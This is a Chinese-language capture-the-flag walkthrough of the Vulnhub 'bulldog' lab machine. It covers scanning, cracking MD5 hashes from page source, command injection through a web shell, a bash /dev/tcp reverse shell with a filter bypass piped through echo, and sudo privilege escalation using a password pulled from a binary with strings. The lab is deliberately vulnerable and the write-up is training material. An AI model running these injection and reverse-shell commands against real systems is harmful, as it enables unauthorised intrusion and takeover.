Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/
下载将其导入VMware,设置网络模式为NAT模式,开启靶机虚拟机
在kali攻击机使用命令nmap -Pn 192.168.172.1/24
来获取靶机的IP地址
这里如果实在扫不出来靶机IP地址的话参考这篇文章来进行设置
https://blog.csdn.net/qq_45722813/article/details/121324686
得到靶机IP地址后再使用命令nmap -A -p- 192.168.172.137
扫描靶机的操作系统及版本,开放端口和服务等,这里发现靶机操作系统版本,开放端口为23对应ssh服务,80和8080端口都对应http服务
然后打开浏览器在地址栏输入靶机IP地址回车打开网页
点开“Public Notice”查看,这里我用划词翻译翻译了一下,但是好像没什么用
然后我们在kali命令行中输入dirb http://192.168.172.137
扫描后台目录发现了/admi
和/dev
和/dev/shell/
然后再浏览器地址栏输入http://192.168.172.137/admin
,发现一个登录页面
查看源码,没有什么信息和提示
把地址栏换成http://192.168.172.137/dev/
回车看看,还是一堆英文,但是最下面看到有一些好像是啥用户名或邮箱地址的东西
再把地址栏的地址换成http://192.168.172.137/dev/shell
,提示我们要先想服务器验证才能使用shell
所以回到刚才的http://192.168.172.137/dev/
,然后我们查看源码,发现一些奇怪的东西
猜测应该是MD5,然后拿去md5解码,得到了nick对应的解码为nulldog,sarah对应的解码为nulldoglover,
然后回到开始的登录页面,输入用户名和密码进行登录
登录进去发现还说什么也没有,查看源码也没什么东西
现在再回到http://192.168.172.137/dev/shell/
,发现可以打开页面了,还有一个shell输入框并告诉了可以输入哪些命令,这里应该是远程命令执行
输入ifconfig | ls
有ls的显示,存在命令注入
然后我们尝试反弹shell,首先在kali机使用命令nc -lnvp 6666
进行监听
然后在web-shell的输入框中输入命令bash -i >& /dev/tcp/192.168.172.131/6666 0>&1
执行,但是发现被挡了,他发现我进行攻击了
然后换种方式,输入命令echo "bash -i >& /dev/tcp/192.168.172.131/6666 0>&1" | bash
,执行就可以了
成功反弹shell
查看目录,在/home目录下发现一个bulldogadmin
但是进到bulldogadmin目录下什么都没有
首先使用命令cat /etc/passwd
查看所有用户
同时发现bulldogadmin是一个用户,所以使用命令find / -user bulldogadmin 2>/dev/null
查找bulldogadmin用户的文件,发现这几个隐藏文件
使用命令cat /home/bulldogadmin/.hiddenadmindirectory/note
查看文件内容
全是英文,将其复制到百度翻译中进行翻译
再查看另一个文件,命令cat /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
查看,但是全是乱码
使用命令strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
将文件内容转化为可打印字符
然后直接使用sudo su
命令进行提权,发现不行
出现上面的情况是因为我们是反弹回来的nc shell,这个shell的使用是有限制的,我们要使用命令python -c "import pty; pty.spawn('/bin/bash')"
设置tty,将其转化为交互式shell,以便能够完全交互和使用其所有功能
还是不行,要在命令前面加上sudo才有权限执行
可以是可以了,但是需要输入用户密码,先试一下bulldog,但是发现不行
刚才我们将那个乱码文件转化后显示的内容中有一串super password之类的字符串,去掉其中的H组成字符串SUPERultimatePASSWORDyouCANTget
,发现成了,已经提权到root用户
输入cd
回车跳转到根目录下,ls
命令查看文件及目录,发现有个congrats.txt文件,使用命令cat congrats.txt
打开文件查看内容
它提示这里有两种方式提权到root用户权限,还有一种暂时不知道,就到这里了